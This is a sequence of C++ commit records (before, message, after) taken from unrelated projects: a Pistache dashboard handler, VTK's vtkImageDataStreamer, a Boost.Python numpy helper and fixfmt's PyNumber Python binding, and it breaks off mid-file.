\"APP_COUNTRY_PUBLISH_TIME\", \"QUERY_CATEGORY_SOURCE\", \n \"UNIFIED_USER_DATA_SOURCE\"};\n std::vector<std::string> dates {\"5\/19\/2020\", \"5\/18\/2020\", \"5\/17\/2020\", \"5\/16\/2020\", \n \"5\/15\/2020\", \"5\/14\/2020\", \"5\/13\/2020\"};\n std::string system_in = request.param(\":system\").as<std::string>();\n std::string status = \"111010111110001011100100111000100110001010000010100111010\";\n auto stream = response.stream(Pistache::Http::Code::Ok);\n const char* system = system_in.c_str();\n \/\/ track the online or offline bits\n int i = 0;\n\n \/\/ Since the html file may be large, stream the data as we write it for\n \/\/ more efficiency\n stream << \"<table id=\\\"\" << system << \"%TEXT\\\">\\n\";\n stream << \"\\t<br\/>\\n\\t<p>\" << system << \"<\/p>\\n\";\n\n for(const std::string &data : dataSources) {\n stream << \"\\t<tr>\\n\";\n stream << \"\\t\\t<td>\" << data.c_str() << \"  <\/td>\\n\";\n for(const std::string& date : dates) {\n stream << \"\\t\\t<td class=\";\n if (status[i++] == '1') {\n stream << \"\\\"online\\\"\";\n }\n else {\n stream << \"\\\"offline\\\"\";\n }\n stream << \" title=\\\"\" << date.c_str() << \"\\\" id=\\\"\" << data.c_str() \n << \"%\" << date.c_str() << \"%\" << system << \"\\\"><\/td>\\n\";\n }\n stream << \"\\t<\/tr>\\n\\n\";\n }\n stream << \"<\/table>\\n\";\n stream.ends();\n}\n\nvoid RequestHandler::PopulateBackfillCommand\n (const Pistache::Rest::Request& request, \n Pistache::Http::ResponseWriter response) {\n std::string date = request.param(\":date\").as<std::string>();\n std::string system = request.param(\":system\").as<std::string>();\n std::string source = request.param(\":source\").as<std::string>();\n std::string command = \"sample command to run backfill for \" + source \n + \" on \" + system + \" for \" + date;\n response.send(Pistache::Http::Code::Ok, command);\n}\n\n} \/\/ namespace wireless_android_play_analytics<commit_msg>changed what the server sends<commit_after>\/*\n* Copyright 2020 Google LLC\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* https:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\/\n\n#include \"request_handler.h\"\n\n#include <vector>\n#include <sstream>\n\nnamespace wireless_android_play_analytics {\n\nvoid RequestHandler::GetLastRefreshed(const Pistache::Rest::Request& request, \n Pistache::Http::ResponseWriter response) {\n \/\/ Information within the request is unnecessary.\n UNUSED(request);\n response.send(Pistache::Http::Code::Ok, \"Wed May 19 15:46:11 2020\");\n}\n\nvoid RequestHandler::GetDashboard(const Pistache::Rest::Request& request, \n Pistache::Http::ResponseWriter response) {\n \/\/ TODO(alexanderlin): Use real data once I get access to them.\n std::vector<std::string> dataSources {\"SPAM\", \"PLAY_COUNTRY\", \n \"APP_COUNTRY_PUBLISH_TIME\", \"QUERY_CATEGORY_SOURCE\", \n \"UNIFIED_USER_DATA_SOURCE\"};\n std::vector<std::string> dates {\"5\/19\/2020\", \"5\/18\/2020\", \"5\/17\/2020\", \"5\/16\/2020\", \n \"5\/15\/2020\", \"5\/14\/2020\", \"5\/13\/2020\"};\n std::string system_in = request.param(\":system\").as<std::string>();\n std::string status = \"111010111110001011100100111000100110001010000010100111010\";\n response.send(Pistache::Http::Code::Ok, \"{\\\"message\\\": \\\"Hello World\\\"}\");\n}\n\nvoid RequestHandler::PopulateBackfillCommand\n (const Pistache::Rest::Request& request, \n Pistache::Http::ResponseWriter response) {\n std::string date = request.param(\":date\").as<std::string>();\n std::string system = request.param(\":system\").as<std::string>();\n std::string source = request.param(\":source\").as<std::string>();\n std::string command = \"sample command to run backfill for \" + source \n + \" on \" + system + \" for \" + date;\n response.send(Pistache::Http::Code::Ok, command);\n}\n\n} \/\/ namespace wireless_android_play_analytics<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: Visualization Toolkit\n Module: vtkImageDataStreamer.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n Copyright (c) 1993-2002 Ken Martin, Will Schroeder, Bill Lorensen \n All rights reserved.\n See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even \n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR \n PURPOSE. See the above copyright notice for more information.\n\n=========================================================================*\/\n#include \"vtkImageDataStreamer.h\"\n\n#include \"vtkCommand.h\"\n#include \"vtkExtentTranslator.h\"\n#include \"vtkImageData.h\"\n#include \"vtkObjectFactory.h\"\n\nvtkCxxRevisionMacro(vtkImageDataStreamer, \"1.27\");\nvtkStandardNewMacro(vtkImageDataStreamer);\nvtkCxxSetObjectMacro(vtkImageDataStreamer,ExtentTranslator,vtkExtentTranslator);\n\n\/\/----------------------------------------------------------------------------\nvtkImageDataStreamer::vtkImageDataStreamer()\n{\n \/\/ default to 10 divisions\n this->NumberOfStreamDivisions = 10;\n\n \/\/ create default translator\n this->ExtentTranslator = vtkExtentTranslator::New();\n}\n\nvtkImageDataStreamer::~vtkImageDataStreamer()\n{\n if (this->ExtentTranslator)\n {\n this->ExtentTranslator->Delete();\n }\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkImageDataStreamer::PrintSelf(ostream& os, vtkIndent indent)\n{\n this->Superclass::PrintSelf(os,indent);\n\n os << indent << \"NumberOfStreamDivisions: \" << this->NumberOfStreamDivisions << endl;\n if ( this->ExtentTranslator )\n {\n os << indent << \"ExtentTranslator:\\n\";\n this->ExtentTranslator->PrintSelf(os,indent.GetNextIndent());\n }\n else\n {\n os << indent << \"ExtentTranslator: (none)\\n\";\n }\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkImageDataStreamer::UpdateData(vtkDataObject *vtkNotUsed(out))\n{\n int idx;\n vtkImageData *input = this->GetInput();\n vtkImageData *output = this->GetOutput();\n int piece;\n \n \/\/ prevent chasing our tail\n if (this->Updating)\n {\n return;\n }\n \n \/\/ Propagate the update call - make sure everything we\n \/\/ might rely on is up-to-date\n \/\/ Must call PropagateUpdateExtent before UpdateData if multiple \n \/\/ inputs since they may lead back to the same data object.\n this->Updating = 1;\n\n if (!input || !output)\n {\n vtkWarningMacro(\"ImageDataStreamer Requires an input to execute!\");\n return;\n }\n \n \/\/ Initialize all the outputs\n vtkExtentTranslator *translator = this->GetExtentTranslator();\n output->PrepareForNewData(); \n\n \/\/ If there is a start method, call it\n this->AbortExecute = 0;\n this->Progress = 0.0;\n this->InvokeEvent(vtkCommand::StartEvent,NULL);\n output->SetExtent(output->GetUpdateExtent());\n output->AllocateScalars();\n \n \/\/ now start the loop over the number of pieces\n translator->SetWholeExtent(output->GetUpdateExtent());\n translator->SetNumberOfPieces(this->NumberOfStreamDivisions);\n for (piece = 0; \n piece < this->NumberOfStreamDivisions && !this->AbortExecute; \n piece++)\n {\n translator->SetPiece(piece);\n if (translator->PieceToExtentByPoints())\n {\n input->SetUpdateExtent(translator->GetExtent());\n input->PropagateUpdateExtent();\n input->UpdateData();\n \/\/ copy the resulting data into the output buffer\n output->CopyAndCastFrom(input, translator->GetExtent()); \n this->UpdateProgress((float)piece\/(this->NumberOfStreamDivisions - 1.0));\n }\n }\n \n this->Updating = 0; \n \n \/\/ If we ended due to aborting, push the progress up to 1.0 (since\n \/\/ it probably didn't end there)\n if ( !this->AbortExecute )\n {\n this->UpdateProgress(1.0);\n }\n\n \/\/ Call the end method, if there is one\n this->InvokeEvent(vtkCommand::EndEvent,NULL);\n \n \/\/ Now we have to mark the data as up to data.\n for (idx = 0; idx < this->NumberOfOutputs; ++idx)\n {\n if (this->Outputs[idx])\n {\n this->Outputs[idx]->DataHasBeenGenerated();\n }\n }\n \n \/\/ Release any inputs if marked for release\n for (idx = 0; idx < this->NumberOfInputs; ++idx)\n {\n if (this->Inputs[idx] != NULL)\n {\n if ( this->Inputs[idx]->ShouldIReleaseData() )\n {\n this->Inputs[idx]->ReleaseData();\n }\n } \n }\n \n \/\/ Information gets invalidated as soon as Update is called,\n \/\/ so validate it again here.\n this->InformationTime.Modified();\n}\n\n \n\n\n\n\n<commit_msg>ERR: was not passing through data other than scalars.<commit_after>\/*=========================================================================\n\n Program: Visualization Toolkit\n Module: vtkImageDataStreamer.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n Copyright (c) 1993-2002 Ken Martin, Will Schroeder, Bill Lorensen \n All rights reserved.\n See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even \n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR \n PURPOSE. See the above copyright notice for more information.\n\n=========================================================================*\/\n#include \"vtkImageDataStreamer.h\"\n\n#include \"vtkCommand.h\"\n#include \"vtkExtentTranslator.h\"\n#include \"vtkImageData.h\"\n#include \"vtkObjectFactory.h\"\n\nvtkCxxRevisionMacro(vtkImageDataStreamer, \"1.28\");\nvtkStandardNewMacro(vtkImageDataStreamer);\nvtkCxxSetObjectMacro(vtkImageDataStreamer,ExtentTranslator,vtkExtentTranslator);\n\n\/\/----------------------------------------------------------------------------\nvtkImageDataStreamer::vtkImageDataStreamer()\n{\n \/\/ default to 10 divisions\n this->NumberOfStreamDivisions = 10;\n\n \/\/ create default translator\n this->ExtentTranslator = vtkExtentTranslator::New();\n}\n\nvtkImageDataStreamer::~vtkImageDataStreamer()\n{\n if (this->ExtentTranslator)\n {\n this->ExtentTranslator->Delete();\n }\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkImageDataStreamer::PrintSelf(ostream& os, vtkIndent indent)\n{\n this->Superclass::PrintSelf(os,indent);\n\n os << indent << \"NumberOfStreamDivisions: \" << this->NumberOfStreamDivisions << endl;\n if ( this->ExtentTranslator )\n {\n os << indent << \"ExtentTranslator:\\n\";\n this->ExtentTranslator->PrintSelf(os,indent.GetNextIndent());\n }\n else\n {\n os << indent << \"ExtentTranslator: (none)\\n\";\n }\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkImageDataStreamer::UpdateData(vtkDataObject *vtkNotUsed(out))\n{\n int idx;\n vtkImageData *input = this->GetInput();\n vtkImageData *output = this->GetOutput();\n int piece;\n \n \/\/ prevent chasing our tail\n if (this->Updating)\n {\n return;\n }\n \n \/\/ Propagate the update call - make sure everything we\n \/\/ might rely on is up-to-date\n \/\/ Must call PropagateUpdateExtent before UpdateData if multiple \n \/\/ inputs since they may lead back to the same data object.\n this->Updating = 1;\n\n if (!input || !output)\n {\n vtkWarningMacro(\"ImageDataStreamer Requires an input to execute!\");\n return;\n }\n \n \/\/ Initialize all the outputs\n vtkExtentTranslator *translator = this->GetExtentTranslator();\n output->PrepareForNewData(); \n\n \/\/ If there is a start method, call it\n this->AbortExecute = 0;\n this->Progress = 0.0;\n this->InvokeEvent(vtkCommand::StartEvent,NULL);\n output->SetExtent(output->GetUpdateExtent());\n \/\/output->AllocateScalars();\n AllocateOutputData(output);\n \n \/\/ now start the loop over the number of pieces\n translator->SetWholeExtent(output->GetUpdateExtent());\n translator->SetNumberOfPieces(this->NumberOfStreamDivisions);\n for (piece = 0; \n piece < this->NumberOfStreamDivisions && !this->AbortExecute; \n piece++)\n {\n translator->SetPiece(piece);\n if (translator->PieceToExtentByPoints())\n {\n input->SetUpdateExtent(translator->GetExtent());\n input->PropagateUpdateExtent();\n input->UpdateData();\n \/\/ copy the resulting data into the output buffer\n output->CopyAndCastFrom(input, translator->GetExtent()); \n this->UpdateProgress((float)piece\/(this->NumberOfStreamDivisions - 1.0));\n }\n }\n \n this->Updating = 0; \n \n \/\/ If we ended due to aborting, push the progress up to 1.0 (since\n \/\/ it probably didn't end there)\n if ( !this->AbortExecute )\n {\n this->UpdateProgress(1.0);\n }\n\n \/\/ Call the end method, if there is one\n this->InvokeEvent(vtkCommand::EndEvent,NULL);\n \n \/\/ Now we have to mark the data as up to data.\n for (idx = 0; idx < this->NumberOfOutputs; ++idx)\n {\n if (this->Outputs[idx])\n {\n this->Outputs[idx]->DataHasBeenGenerated();\n }\n }\n \n \/\/ Release any inputs if marked for release\n for (idx = 0; idx < this->NumberOfInputs; ++idx)\n {\n if (this->Inputs[idx] != NULL)\n {\n if ( this->Inputs[idx]->ShouldIReleaseData() )\n {\n this->Inputs[idx]->ReleaseData();\n }\n } \n }\n \n \/\/ Information gets invalidated as soon as Update is called,\n \/\/ so validate it again here.\n this->InformationTime.Modified();\n}\n\n \n\n\n\n\n<|endoftext|>"} {"text":"<commit_before>#include \"boost\/python.hpp\"\n#include \"boost\/python\/extract.hpp\"\n#include \"boost\/python\/numeric.hpp\"\n\n\/\/ See http:\/\/docs.scipy.org\/doc\/numpy-dev\/reference\/c-api.deprecations.html\n\/\/#define NPY_NO_DEPRECATED_API NPY_1_7_API_VERSION\n\n\/\/ See http:\/\/docs.scipy.org\/doc\/numpy\/reference\/c-api.array.html#miscellaneous\n#define PY_ARRAY_UNIQUE_SYMBOL bashes_ARRAY_API\n#define NO_IMPORT_ARRAY\n#include \"numpy\/arrayobject.h\"\n\n#include <iostream>\n\nnamespace bp = boost::python;\nnamespace bpn = boost::python::numeric;\n\nnamespace bashes {\n\nnamespace {\n\n\/\/ Example using only boost::python::numeric::array\nvoid printFirst(bpn::array data) {\n \/\/ Access a built-in type (an array)\n bpn::array a = data;\n \/\/ Need to <extract> array elements because their type is unknown\n std::cout << \"First array item: \" << bp::extract<int>(a[0]) << std::endl;\n};\n\n\/\/ Example using numpy c-api constructs\n\/\/ see http:\/\/stackoverflow.com\/questions\/9128519\/reading-many-values-from-numpy-c-api\nbp::object timesTwo(bpn::array m){\n \/\/ access underlying numpy PyObject pointer of input array\n PyObject* m_obj = PyArray_FROM_OTF(m.ptr(), NPY_DOUBLE, NPY_IN_ARRAY);\n \/\/ to avoid memory leaks, let a Boost::Python object manage the array\n bp::object temp((bp::handle<>(m_obj)));\n \/\/ number of array dimensions\n int ndim = PyArray_NDIM(m_obj);\n std::cout << \"bashes::timesTwo: ndim of input array: \" << ndim << std::endl;\n \/\/ get direct access to the array data\n const double* data = static_cast<const double*>(PyArray_DATA(m_obj));\n \/\/ make the output array, and get access to its data\n PyObject* res = PyArray_SimpleNew(ndim, PyArray_DIMS(m_obj), NPY_DOUBLE);\n \/\/ access output array data\n double* res_data = static_cast<double*>(PyArray_DATA(res));\n \/\/ number of elements in array\n const unsigned size = PyArray_SIZE(m_obj); \n std::cout << \"bashes::timesTwo: size of input array: \" << size << std::endl;\n \/\/ times by two\n for (unsigned i = 0; i < size; ++i) {\n res_data[i] = 2*data[i];\n }\n \/\/ go back to using Boost::Python constructs\n return bp::object((bp::handle<>(res)));\n};\n\n} \/\/ anonymous\n\nvoid pyExportEstimatorHelpers() {\n bp::def(\"printFirst\", &printFirst);\n bp::def(\"timesTwo\", ×Two);\n}\n\n} \/\/ bashes<commit_msg>expand bpn namespace abbreviation<commit_after>#include \"boost\/python.hpp\"\n#include \"boost\/python\/extract.hpp\"\n#include \"boost\/python\/numeric.hpp\"\n\n\/\/ See http:\/\/docs.scipy.org\/doc\/numpy-dev\/reference\/c-api.deprecations.html\n\/\/#define NPY_NO_DEPRECATED_API NPY_1_7_API_VERSION\n\n\/\/ See http:\/\/docs.scipy.org\/doc\/numpy\/reference\/c-api.array.html#miscellaneous\n#define PY_ARRAY_UNIQUE_SYMBOL bashes_ARRAY_API\n#define NO_IMPORT_ARRAY\n#include \"numpy\/arrayobject.h\"\n\n#include <iostream>\n\nnamespace bp = boost::python;\n\nnamespace bashes {\n\nnamespace {\n\n\/\/ Example using only boost::python::numeric::array\nvoid printFirst(bp::numeric::array data) {\n \/\/ Access a built-in type (an array)\n bp::numeric::array a = data;\n \/\/ Need to <extract> array elements because their type is unknown\n std::cout << \"First array item: \" << bp::extract<int>(a[0]) << std::endl;\n};\n\n\/\/ Example using numpy c-api constructs\n\/\/ see http:\/\/stackoverflow.com\/questions\/9128519\/reading-many-values-from-numpy-c-api\nbp::object timesTwo(bp::numeric::array m){\n \/\/ access underlying numpy PyObject pointer of input array\n PyObject* m_obj = PyArray_FROM_OTF(m.ptr(), NPY_DOUBLE, NPY_IN_ARRAY);\n \/\/ to avoid memory leaks, let a Boost::Python object manage the array\n bp::object temp((bp::handle<>(m_obj)));\n \/\/ number of array dimensions\n int ndim = PyArray_NDIM(m_obj);\n std::cout << \"bashes::timesTwo: ndim of input array: \" << ndim << std::endl;\n \/\/ get direct access to the array data\n const double* data = static_cast<const double*>(PyArray_DATA(m_obj));\n \/\/ make the output array, and get access to its data\n PyObject* res = PyArray_SimpleNew(ndim, PyArray_DIMS(m_obj), NPY_DOUBLE);\n \/\/ access output array data\n double* res_data = static_cast<double*>(PyArray_DATA(res));\n \/\/ number of elements in array\n const unsigned size = PyArray_SIZE(m_obj); \n std::cout << \"bashes::timesTwo: size of input array: \" << size << std::endl;\n \/\/ times by two\n for (unsigned i = 0; i < size; ++i) {\n res_data[i] = 2*data[i];\n }\n \/\/ go back to using Boost::Python constructs\n return bp::object((bp::handle<>(res)));\n};\n\n} \/\/ anonymous\n\nvoid pyExportEstimatorHelpers() {\n bp::numeric::array::set_module_and_type(\"numpy\", \"ndarray\");\n bp::def(\"printFirst\", &printFirst);\n bp::def(\"timesTwo\", ×Two);\n}\n\n} \/\/ bashes<|endoftext|>"} {"text":"<commit_before>#include <sstream>\n\n#include \"PyNumber.hh\"\n\nusing namespace py;\nusing std::unique_ptr;\n\n\/\/------------------------------------------------------------------------------\n\nnamespace {\n\nref<Unicode> tp_repr(PyNumber* self)\n{\n auto const& args = self->fmt_->get_args();\n std::stringstream ss;\n ss << \"String(\" << args.size << \", \" << args.precision \n << \", pad='\" << args.pad << \"', sign='\" << args.sign \n << \", nan='\" << args.nan << \"', inf='\" << args.inf\n << \"', point='\" << args.point << \"', bad='\" << args.bad << \"')\";\n return Unicode::from(ss.str());\n}\n\n\nint\nget_precision(\n Object* arg)\n{\n int precision;\n if (arg == Py_None)\n precision = fixfmt::Number::PRECISION_NONE;\n else {\n precision = arg->long_value();\n if (precision < 0)\n precision = fixfmt::Number::PRECISION_NONE;\n }\n return precision;\n}\n\n\nfixfmt::Number::Scale\nget_scale(\n Object* arg)\n{\n fixfmt::Number::Scale scale = {};\n auto const aliases = ((Object*) &PyNumber::type_)->GetAttrString(\"SCALES\");\n if (Dict::Check(aliases)) {\n auto const alias = cast<Dict>(aliases)->GetItem(arg, false);\n if (alias != nullptr)\n arg = alias;\n }\n if (arg == Py_None) \n ; \/\/ accept default\n else if (!Sequence::Check(arg))\n throw ValueError(\"scale must be a two-item sequence\");\n else {\n Sequence* scale_seq = cast<Sequence>(arg);\n if (scale_seq->Length() != 2)\n throw ValueError(\"scale must be a two-item sequence\");\n scale.factor = scale_seq->GetItem(0)->double_value();\n if (!(scale.factor > 0))\n throw ValueError(\"invalid scale factor\");\n scale.suffix = scale_seq->GetItem(1)->Str()->as_utf8_string();\n }\n return scale;\n}\n\n\n\/\/ FIXME: Accept sign=None.\nstatic void\ntp_init(\n PyNumber* self, \n Tuple* args, \n Dict* kw_args)\n{\n static char const* arg_names[] = {\n \"size\", \"precision\", \"pad\", \"sign\", \"nan\", \"inf\", \"point\", \"bad\",\n \"scale\", nullptr\n };\n\n int size;\n Object* precision_arg = (Object*) Py_None;\n#if PY3K\n int pad = fixfmt::Number::PAD_SPACE;\n int sign = fixfmt::Number::SIGN_NEGATIVE;\n int point = '.';\n int bad = '#';\n#else\n char pad = fixfmt::Number::PAD_SPACE;\n char sign = fixfmt::Number::SIGN_NEGATIVE;\n char point = '.';\n char bad = '#';\n#endif\n char const* nan = \"NaN\";\n char const* inf = \"inf\";\n Object* scale_arg = (Object*) Py_None;\n Arg::ParseTupleAndKeywords(\n args, kw_args, \n#if PY3K\n \"i|O$CCetetCCO\",\n#else\n \"i|OccetetccO\",\n#endif\n arg_names,\n &size, &precision_arg, &pad, &sign, \"utf-8\", &nan, \"utf-8\", &inf, \n &point, &bad, &scale_arg);\n\n if (size < 0) \n throw ValueError(\"negative size\");\n auto const precision = get_precision(precision_arg);\n if ( sign != fixfmt::Number::SIGN_NONE\n && sign != fixfmt::Number::SIGN_NEGATIVE\n && sign != fixfmt::Number::SIGN_ALWAYS)\n throw ValueError(\"invalid sign\");\n if (! (pad == fixfmt::Number::PAD_SPACE || pad == fixfmt::Number::PAD_ZERO))\n throw ValueError(\"invalid pad\");\n\n auto const scale = get_scale(scale_arg);\n\n new(self) PyNumber;\n self->fmt_ = std::make_unique<fixfmt::Number>(\n fixfmt::Number::Args{\n size, precision, (char) pad, (char) sign, scale, (char) point,\n (char) bad, nan, inf});\n}\n\n\nref<Object> tp_call(PyNumber* self, Tuple* args, Dict* kw_args)\n{\n static char const* arg_names[] = {\"value\", nullptr};\n double val;\n \/\/ FIXME: Handle integer types separately.\n Arg::ParseTupleAndKeywords(args, kw_args, \"d\", arg_names, &val);\n\n return Unicode::from((*self->fmt_)(val));\n}\n\n\nauto methods = Methods<PyNumber>()\n;\n\n\nref<Object> get_bad(PyNumber* const self, void* \/* closure *\/)\n{\n return Unicode::from(self->fmt_->get_args().bad);\n}\n\n\nvoid set_bad(PyNumber* const self, Object* val, void* \/* closure *\/)\n{\n auto const bad_str = val->Str();\n if (bad_str->Length() != 1)\n throw ValueError(\"invalid bad\");\n\n auto args = self->fmt_->get_args();\n \/\/ FIXME: Wrong for multibyte characters.\n args.bad = bad_str->as_utf8_string()[0];\n self->fmt_->set_args(args);\n}\n\n\nref<Object> get_inf(PyNumber* const self, void* \/* closure *\/)\n{\n return Unicode::from(self->fmt_->get_args().inf);\n}\n\n\nvoid set_inf(PyNumber* const self, Object* val, void* \/* closure *\/)\n{\n auto args = self->fmt_->get_args();\n args.inf = val->Str()->as_utf8_string().c_str();\n self->fmt_->set_args(args);\n}\n\n\nref<Object> get_nan(PyNumber* const self, void* \/* closure *\/)\n{\n return Unicode::from(self->fmt_->get_args().nan);\n}\n\n\nvoid set_nan(PyNumber* const self, Object* val, void* \/* closure *\/)\n{\n auto args = self->fmt_->get_args();\n args.nan = val->Str()->as_utf8_string().c_str();\n self->fmt_->set_args(args);\n}\n\n\nref<Object> get_pad(PyNumber* const self, void* \/* closure *\/)\n{\n return Unicode::from(self->fmt_->get_args().pad);\n}\n\n\nvoid set_pad(PyNumber* const self, Object* val, void* \/* closure *\/)\n{\n auto const pad_str = val->Str();\n if (pad_str->Length() != 1)\n throw ValueError(\"invalid pad\");\n \/\/ FIXME: Wrong for multibyte characters.\n auto const pad = pad_str->as_utf8_string()[0];\n if ( pad != fixfmt::Number::PAD_SPACE\n && pad != fixfmt::Number::PAD_ZERO)\n throw ValueError(\"invalid pad\");\n\n auto args = self->fmt_->get_args();\n args.pad = pad;\n self->fmt_->set_args(args);\n}\n\n\nref<Object> get_point(PyNumber* const self, void* \/* closure *\/)\n{\n return Unicode::from(self->fmt_->get_args().point);\n}\n\n\nvoid set_point(PyNumber* const self, Object* val, void* \/* closure *\/)\n{\n auto const point_str = val->Str();\n if (point_str->Length() != 1)\n throw ValueError(\"invalid point\");\n\n auto args = self->fmt_->get_args();\n \/\/ FIXME: Wrong for multibyte characters.\n args.point = point_str->as_utf8_string()[0];\n self->fmt_->set_args(args);\n}\n\n\nref<Object> get_precision(PyNumber* const self, void* \/* closure *\/)\n{\n int const precision = self->fmt_->get_args().precision;\n return \n precision == fixfmt::Number::PRECISION_NONE ? none_ref()\n : (ref<Object>) Long::FromLong(precision);\n}\n\n\nvoid set_precision(PyNumber* const self, Object* val, void* \/* closure *\/)\n{\n auto args = self->fmt_->get_args();\n args.precision = get_precision(val);\n self->fmt_->set_args(args);\n}\n\n\nref<Object>\nget_scale(\n PyNumber* const self,\n void* \/* closure *\/)\n{\n auto const& scale = self->fmt_->get_args().scale;\n if (scale.enabled())\n return Tuple::builder \n << Float::from(scale.factor) \n << Unicode::from(scale.suffix);\n else\n return none_ref();\n}\n\n\nvoid set_scale(PyNumber* const self, Object* val, void* \/* closure *\/)\n{\n auto args = self->fmt_->get_args();\n args.scale = get_scale(val);\n self->fmt_->set_args(args);\n}\n\n\nref<Object> get_sign(PyNumber* const self, void* \/* closure *\/)\n{\n return Unicode::from(self->fmt_->get_args().sign);\n}\n\n\nvoid set_sign(PyNumber* const self, Object* const val, void* \/* closure *\/)\n{\n auto const sign_str = val->Str();\n if (sign_str->Length() != 1)\n throw ValueError(\"invalid sign\");\n auto const sign = sign_str->as_utf8_string()[0];\n if ( sign != fixfmt::Number::SIGN_NONE\n && sign != fixfmt::Number::SIGN_NEGATIVE\n && sign != fixfmt::Number::SIGN_ALWAYS)\n throw ValueError(\"invalid sign\");\n\n auto args = self->fmt_->get_args();\n args.sign = sign;\n self->fmt_->set_args(args);\n}\n\n\nref<Object> get_size(PyNumber* const self, void* \/* closure *\/)\n{\n return Long::FromLong(self->fmt_->get_args().size);\n}\n\n\nvoid set_size(PyNumber* const self, Object* val, void* \/* closure *\/)\n{\n auto const size = val->long_value();\n if (size < 0)\n throw ValueError(\"size out of range\");\n auto args = self->fmt_->get_args();\n args.size = size;\n self->fmt_->set_args(args);\n}\n\n\nref<Object> get_width(PyNumber* const self, void* \/* closure *\/)\n{\n return Long::FromLong(self->fmt_->get_width());\n}\n\n\nauto getsets = GetSets<PyNumber>()\n .add_getset<get_bad , set_bad >(\"bad\")\n .add_getset<get_inf , set_inf >(\"inf\")\n .add_getset<get_nan , set_nan >(\"nan\")\n .add_getset<get_pad , set_pad >(\"pad\")\n .add_getset<get_point , set_point >(\"point\")\n .add_getset<get_precision , set_precision >(\"precision\")\n .add_getset<get_scale , set_scale >(\"scale\")\n .add_getset<get_sign , set_sign >(\"sign\")\n .add_getset<get_size , set_size >(\"size\")\n .add_get<get_width> (\"width\")\n ;\n\n\n} \/\/ anonymous namespace\n\n\nType PyNumber::type_ = PyTypeObject{\n PyVarObject_HEAD_INIT(nullptr, 0)\n (char const*) \"fixfmt._ext.Number\", \/\/ tp_name\n (Py_ssize_t) sizeof(PyNumber), \/\/ tp_basicsize\n (Py_ssize_t) 0, \/\/ tp_itemsize\n (destructor) nullptr, \/\/ tp_dealloc\n (printfunc) nullptr, \/\/ tp_print\n (getattrfunc) nullptr, \/\/ tp_getattr\n (setattrfunc) nullptr, \/\/ tp_setattr\n#if PY3K\n (PyAsyncMethods*) nullptr, \/\/ tp_as_async\n#else\n (cmpfunc) nullptr, \/\/ tp_compare\n#endif\n (reprfunc) wrap<PyNumber, tp_repr>, \/\/ tp_repr\n (PyNumberMethods*) nullptr, \/\/ tp_as_number\n (PySequenceMethods*) nullptr, \/\/ tp_as_sequence\n (PyMappingMethods*) nullptr, \/\/ tp_as_mapping\n (hashfunc) nullptr, \/\/ tp_hash\n (ternaryfunc) wrap<PyNumber, tp_call>, \/\/ tp_call\n (reprfunc) nullptr, \/\/ tp_str\n (getattrofunc) nullptr, \/\/ tp_getattro\n (setattrofunc) nullptr, \/\/ tp_setattro\n (PyBufferProcs*) nullptr, \/\/ tp_as_buffer\n (unsigned long) Py_TPFLAGS_DEFAULT\n | Py_TPFLAGS_BASETYPE, \/\/ tp_flags\n (char const*) nullptr, \/\/ tp_doc\n (traverseproc) nullptr, \/\/ tp_traverse\n (inquiry) nullptr, \/\/ tp_clear\n (richcmpfunc) nullptr, \/\/ tp_richcompare\n (Py_ssize_t) 0, \/\/ tp_weaklistoffset\n (getiterfunc) nullptr, \/\/ tp_iter\n (iternextfunc) nullptr, \/\/ tp_iternext\n (PyMethodDef*) methods, \/\/ tp_methods\n (PyMemberDef*) nullptr, \/\/ tp_members\n (PyGetSetDef*) getsets, \/\/ tp_getset\n (_typeobject*) nullptr, \/\/ tp_base\n (PyObject*) nullptr, \/\/ tp_dict\n (descrgetfunc) nullptr, \/\/ tp_descr_get\n (descrsetfunc) nullptr, \/\/ tp_descr_set\n (Py_ssize_t) 0, \/\/ tp_dictoffset\n (initproc) wrap<PyNumber, tp_init>, \/\/ tp_init\n (allocfunc) nullptr, \/\/ tp_alloc\n (newfunc) PyType_GenericNew, \/\/ tp_new\n (freefunc) nullptr, \/\/ tp_free\n (inquiry) nullptr, \/\/ tp_is_gc\n (PyObject*) nullptr, \/\/ tp_bases\n (PyObject*) nullptr, \/\/ tp_mro\n (PyObject*) nullptr, \/\/ tp_cache\n (PyObject*) nullptr, \/\/ tp_subclasses\n (PyObject*) nullptr, \/\/ tp_weaklist\n (destructor) nullptr, \/\/ tp_del\n (unsigned int) 0, \/\/ tp_version_tag\n#if PY3K\n (destructor) nullptr, \/\/ tp_finalize\n#endif\n};\n\n\n<commit_msg>Fix repr.<commit_after>#include <sstream>\n\n#include \"PyNumber.hh\"\n\nusing namespace py;\nusing std::unique_ptr;\n\n\/\/------------------------------------------------------------------------------\n\nnamespace {\n\nref<Unicode> tp_repr(PyNumber* self)\n{\n auto const& args = self->fmt_->get_args();\n std::stringstream ss;\n ss << \"Number(\" << args.size << \", \" << args.precision \n << \", pad='\" << args.pad << \"', sign='\" << args.sign \n << \", nan='\" << args.nan << \"', inf='\" << args.inf\n << \"', point='\" << args.point << \"', bad='\" << args.bad << \"')\";\n return Unicode::from(ss.str());\n}\n\n\nint\nget_precision(\n Object* arg)\n{\n int precision;\n if (arg == Py_None)\n precision = fixfmt::Number::PRECISION_NONE;\n else {\n precision = arg->long_value();\n if (precision < 0)\n precision = fixfmt::Number::PRECISION_NONE;\n }\n return precision;\n}\n\n\nfixfmt::Number::Scale\nget_scale(\n Object* arg)\n{\n fixfmt::Number::Scale scale = {};\n auto const aliases = ((Object*) 